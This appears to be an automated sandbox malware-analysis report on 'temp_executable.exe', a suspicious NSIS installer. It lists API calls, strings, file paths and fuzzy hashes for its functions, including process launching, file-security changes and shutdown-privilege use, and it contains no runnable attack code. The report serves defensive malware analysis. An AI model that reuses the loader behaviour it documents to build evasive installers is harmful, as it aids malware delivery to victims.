Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp$C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll
API String ID: 1659193697-1643209395
Opcode ID: 8dbcb2fd7b217228523bb32d9577dfde9e670be5aaf231835310540875a17a73
Instruction ID: 87e4a89a1644b821f0af8cb1a7976e90618d12837afc66c1e862d8435416238a
Opcode Fuzzy Hash: 8dbcb2fd7b217228523bb32d9577dfde9e670be5aaf231835310540875a17a73
Instruction Fuzzy Hash: C7112676A543006BD310BB618A89A2BB7D4AF84314F11453FF545B31C1D7BC980687AF

Function 00402077 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00405D15: lstrlenW.KERNEL32(00424200,?,00000000,?,?), ref: 00405D47
Part of subcall function 00405D15: lstrlenW.KERNEL32(?,00424200,?,00000000,?,?), ref: 00405D59
Part of subcall function 00405D15: lstrcatW.KERNEL32(00424200,?,?,00424200,?,00000000,?,?), ref: 00405D74
Part of subcall function 00405D15: SetWindowTextW.USER32(00424200,00424200), ref: 00405D8C
Part of subcall function 00405D15: SendMessageW.USER32(00000000), ref: 00405DB3
Part of subcall function 00405D15: SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 00405DCE
Part of subcall function 00405D15: SendMessageW.USER32(00000000,00001013,00000000,00000000), ref: 00405DDB

Part of subcall function 004069CE: ShellExecuteExW.SHELL32(?), ref: 004069DD

Part of subcall function 004064EF: WaitForSingleObject.KERNEL32(?,00000064), ref: 004064F9
Part of subcall function 004064EF: GetExitCodeProcess.KERNEL32(?,?), ref: 00406523

CloseHandle.KERNEL32(?,?), ref: 00402110

Strings

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll, xrefs: 00402098
@, xrefs: 004020F2
C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic, xrefs: 004020D1

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$lstrlen$CloseCodeExecuteExitHandleObjectProcessShellSingleTextWaitWindowlstrcat
String ID: @$C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic$C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll
API String ID: 4079680657-1528140705
Opcode ID: b3f635e0ff2294aada5878f9b4cee8023eac3de101f72fe104a431beeca66540
Instruction ID: 1a2f5228193f18700cea608b7af5492b6fd1c87105d587b586e39d0dc9a83391
Opcode Fuzzy Hash: b3f635e0ff2294aada5878f9b4cee8023eac3de101f72fe104a431beeca66540
Instruction Fuzzy Hash: 3C118C71A483809BC710AFA2C94561ABBE9BFC4745F40493EF595A72D1DBBC8805CB4A

Function 00405E19 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?), ref: 00405E5A
GetLastError.KERNEL32 ref: 00405E64
SetFileSecurityW.ADVAPI32(00000000,80000007,00000001), ref: 00405E7D
GetLastError.KERNEL32 ref: 00405E8B

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction ID: 2395f8a8d7837bad9ab877b1c5b4dd478f8f3e4f7c6de220d66e2a00ae86bb09
Opcode Fuzzy Hash: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction Fuzzy Hash: A201EC75D00609DFDB109FA0DA44BAE7BB4EF14315F10453AD989F2190D7789648CF99

Function 00403364 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00403554), ref: 00403375
GetTickCount.KERNEL32 ref: 00403394
CreateDialogParamW.USER32(0000006F,00000000,0040362A,00000000), ref: 004033B3
ShowWindow.USER32(00000000,00000005), ref: 004033C1

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4a7b031ca6bcbd07d04e4791083f97fcd863d0c0ea14b4434ac483fd79bb7cb0
Instruction ID: 05fd0e373085f508408529d976a5f5643121ad856ee530bb797c10a8200a5ccc
Opcode Fuzzy Hash: 4a7b031ca6bcbd07d04e4791083f97fcd863d0c0ea14b4434ac483fd79bb7cb0
Instruction Fuzzy Hash: 2EF0F870651700EBEB209F60EF8DB1A3AA8B740B06F801979F941B51F0DFB89540CA5C

Function 00406613 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406AF5: lstrcpynW.KERNEL32(?,?,00000400,0040384C,Sortkridts Setup,NSIS Error), ref: 00406B02

Part of subcall function 00406BA0: CharNextW.USER32(?,?,?,00000000,00425A48,0040662A,00425A48,00425A48,00000000,?,?,00406716,?,00000000,76073420,?), ref: 00406BAF
Part of subcall function 00406BA0: CharNextW.USER32(00000000), ref: 00406BB4
Part of subcall function 00406BA0: CharNextW.USER32(00000000), ref: 00406BCE

Part of subcall function 00406D18: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406D8D
Part of subcall function 00406D18: CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
Part of subcall function 00406D18: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DA1
Part of subcall function 00406D18: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DB9

lstrlenW.KERNEL32(00425A48,00000000,00425A48,00425A48,00000000,?,?,00406716,?,00000000,76073420,?), ref: 00406667
GetFileAttributesW.KERNEL32(00425A48,00425A48), ref: 00406678

Part of subcall function 004065AA: FindFirstFileW.KERNELBASE(00000000,00427648,00000000,00406657,00425A48), ref: 004065B5
Part of subcall function 004065AA: FindClose.KERNEL32(00000000), ref: 004065C1

Strings

HZB, xrefs: 00406619

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$FileFind$AttributesCloseFirstPrevlstrcpynlstrlen
String ID: HZB
API String ID: 1879705256-1498320904
Opcode ID: 2782f30abaae67d32aad9d2ddd7e042e6b9764b6a7ee77395c88dac23f9c836b
Instruction ID: c1f6674fc9072460158ec6ac158274c55d6247b1d16a8c1a13e9c8cd3e3f7c83
Opcode Fuzzy Hash: 2782f30abaae67d32aad9d2ddd7e042e6b9764b6a7ee77395c88dac23f9c836b
Instruction Fuzzy Hash: 60F0C2715016612AC62033762E89A2B255C8E2136979B4F3FFD97F22D2CA3ECC31956D

Function 004058AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004058DF
CallWindowProcW.USER32(?,?,?,?), ref: 00405927

Part of subcall function 004054C3: SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 004054D5

Strings

, xrefs: 004058C0

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2dca9501c208de8155b709c61fb4f4fee366092d07c020c7b33c5c4d6728830a
Instruction ID: b1e338e3564b8c01f07b09259678d1708f9cc3666d75656fad75f4110972ebbf
Opcode Fuzzy Hash: 2dca9501c208de8155b709c61fb4f4fee366092d07c020c7b33c5c4d6728830a
Instruction Fuzzy Hash: 5401D472600619EBDF202F01DC04ADB3A25EB94768F004437F904B62E1C77989A29FED

Function 004061EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?), ref: 004061F6
PeekMessageW.USER32(?,00000000,?,T5@,00000001), ref: 0040620A

Strings

T5@, xrefs: 004061FE

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Message$DispatchPeek
String ID: T5@
API String ID: 1770753511-1075436632
Opcode ID: 9cb97e42a766ea8cada08b0cc05ec87f5fef8c0c6a112fe8ce1f02b30d5e22d0
Instruction ID: 9faa2b1bfb0e31a5f243467a4896c54f1023d1031c98b050ea5e6b6ce42c350d
Opcode Fuzzy Hash: 9cb97e42a766ea8cada08b0cc05ec87f5fef8c0c6a112fe8ce1f02b30d5e22d0
Instruction Fuzzy Hash: 89D0123190020DA7DF109FE0DD09F9A7B6D6B04744F008035B742A9091D679D1179B99

Function 00406CEB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp,00403433,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\temp_executable.exe,C:\Users\user\AppData\Local\Temp\temp_executable.exe,80000000,00000003,?,?,?,?,?), ref: 00406CF1
CharPrevW.USER32(80000000,00000000,?,?,?,?,?), ref: 00406D02

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00406CEB

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 2709904686-670666241
Opcode ID: 3a3825e1876a518aafdd43096896adb57dd8be29e1d638c1e9cc1f107b5b3402
Instruction ID: 4dbe35682b60e6d52269d03a3853e7a49c7dcb535e87d19da2916c46be0a3be3
Opcode Fuzzy Hash: 3a3825e1876a518aafdd43096896adb57dd8be29e1d638c1e9cc1f107b5b3402
Instruction Fuzzy Hash: EBD05E31015924DBD7526B18ED099AF7BB8EF0130030A846EE987E3160CB385C9187AD

Analysis Process: temp_executable.exePID: 4004, Parent PID: 2296COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Executed Functions

Function 32D834E0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32D834EA

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3edb027c598ff89e30bb81f3956250c5bdfbd891316874dc5cf99d7b250b0a74
Instruction ID: e3ee6d1431476e0ad609ea3637d0a49251a880878775034f7972b194395ff01d
Opcode Fuzzy Hash: 3edb027c598ff89e30bb81f3956250c5bdfbd891316874dc5cf99d7b250b0a74
Instruction Fuzzy Hash: 2090023165510402D60062986714746100547D1601F61C856B041C538DC7A5895576B2

Function 32D82BC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32D82BCA

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 35fad57f82ba1dfeaddcecc9d98c017f70a6175b117c785bf91e2304a85bf981
Instruction ID: e5df1c89bba143c39521de81ce5a79d8e8f1634bc27d166865236aa3a7ba606b
Opcode Fuzzy Hash: 35fad57f82ba1dfeaddcecc9d98c017f70a6175b117c785bf91e2304a85bf981
Instruction Fuzzy Hash: BF90023125100402D60066D87608686000547E1701F51D456B501C535EC67588957231

Function 32D82B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32D82B9A

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 74c777f7ce30ddd0e27c599303f2a2d2311639142371b892bcb503aa2304e713
Instruction ID: a97606fd0543705c37ec4b9fcbea4032667a1240666145c3dbe3967e5f4777e3
Opcode Fuzzy Hash: 74c777f7ce30ddd0e27c599303f2a2d2311639142371b892bcb503aa2304e713
Instruction Fuzzy Hash: 0F90023125108802D6106298A60478A000547D1701F55C856B441C638DC6A588957231

Function 32D82EB0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32D82EBA

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ee5981a93259e25bd13e34df869ef839147d909f3a0f23d52c8b1259d3895e83
Instruction ID: 7678cc4db593878d583fa31c07b22c2938b06430021921013d32d1fe6918afde
Opcode Fuzzy Hash: ee5981a93259e25bd13e34df869ef839147d909f3a0f23d52c8b1259d3895e83
Instruction Fuzzy Hash: C190023125140402D60062986A1474B000547D1702F51C456B115C535DC63588557671

Function 32D82D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32D82D1A

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a7a41abc40a6171ce38b93fca88d12e3817b2eac8fddbf77aca577a547947372
Instruction ID: 98d0a11418f97e7f761e52adef7b49168cd9a5b826093d43bcdb3a3410ce706e
Opcode Fuzzy Hash: a7a41abc40a6171ce38b93fca88d12e3817b2eac8fddbf77aca577a547947372
Instruction Fuzzy Hash: 5E90023125100413D61162986704747000947D1641F91C857B041C538DD6668956B231

Non-executed Functions

Function 004036D7 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 416
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008001), ref: 004036F3
GetVersionExW.KERNEL32 ref: 0040371C
GetVersionExW.KERNEL32(?), ref: 0040372F
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004037D7
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403811
OleInitialize.OLE32(00000000), ref: 00403818
SHGetFileInfoW.SHELL32(004085B0,00000000,?,000002B4,00000000), ref: 00403837
GetCommandLineW.KERNEL32(00428D00,NSIS Error), ref: 0040384C
CharNextW.USER32(00000000,00434000,?,00434000,00000000), ref: 00403898
GetTempPathW.KERNEL32(00000400,00436800), ref: 00403996
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 004039A7
lstrcatW.KERNEL32(00436800,\Temp), ref: 004039B3
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 004039C7
lstrcatW.KERNEL32(00436800,Low), ref: 004039CF
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 004039E0
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 004039E8
DeleteFileW.KERNEL32(00436000), ref: 00403A02

Part of subcall function 004033C8: GetTickCount.KERNEL32 ref: 004033DB
Part of subcall function 004033C8: GetModuleFileNameW.KERNEL32(00000000,00437800,00000400,?,?,?,?,?), ref: 004033F7

lstrcatW.KERNEL32(00436800,~nsu,00434000,00000000,00000000), ref: 00403AA5
lstrcatW.KERNEL32(00436800,00408600,00436800,~nsu,00434000,00000000,00000000), ref: 00403AB8
lstrcatW.KERNEL32(00436800,.tmp,00436800,~nsu,00434000,00000000,00000000), ref: 00403AC7
lstrcmpiW.KERNEL32(00436800,00435800,00436800,.tmp,00436800,~nsu,00434000,00000000,00000000), ref: 00403AD6
SetCurrentDirectoryW.KERNEL32(00436800,00436800), ref: 00403AFE
DeleteFileW.KERNEL32(004209C0,004209C0,?,0042A000,?), ref: 00403B51
CopyFileW.KERNEL32(00437800,004209C0,00000001), ref: 00403B63
CloseHandle.KERNEL32(00000000,004209C0,004209C0,?,004209C0,00000000), ref: 00403B9C

Part of subcall function 00405DF9: CreateDirectoryW.KERNEL32(?,00000000,00436800,00403CA4,00436800,00436800,00436800,00436800,76073420,0040399D), ref: 00405E01
Part of subcall function 00405DF9: GetLastError.KERNEL32 ref: 00405E0B

OleUninitialize.OLE32(00000000), ref: 00403BCA
ExitProcess.KERNEL32 ref: 00403BE1
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403BF7
OpenProcessToken.ADVAPI32(00000000), ref: 00403BFE
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403C13
AdjustTokenPrivileges.ADVAPI32(00000001,00000000,?,00000000,00000000,00000000), ref: 00403C36
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C5B

Part of subcall function 004065D1: CharNextW.USER32(?,00403897,00434000,?,00434000,00000000), ref: 004065E7

Strings

NSIS Error, xrefs: 0040383D
.tmp, xrefs: 00403ABD
SeShutdownPrivilege, xrefs: 00403C0D
~nsu, xrefs: 00403A99
Error launching installer, xrefs: 00403A4A
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004036E3
\Temp, xrefs: 004039AD
Low, xrefs: 004039C9
TEMP, xrefs: 004039DB
TMP, xrefs: 004039E3
UXTHEME, xrefs: 004037CB, 004037D0, 004037D6

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Filelstrcat$DirectoryProcess$CharCurrentDeleteEnvironmentErrorExitNextPathTempTokenVariableVersionWindows$AdjustCloseCommandCopyCountCreateHandleInfoInitializeLastLineLookupModeModuleNameOpenPrivilegePrivilegesTickUninitializeValuelstrcmpilstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 1152188737-334447862
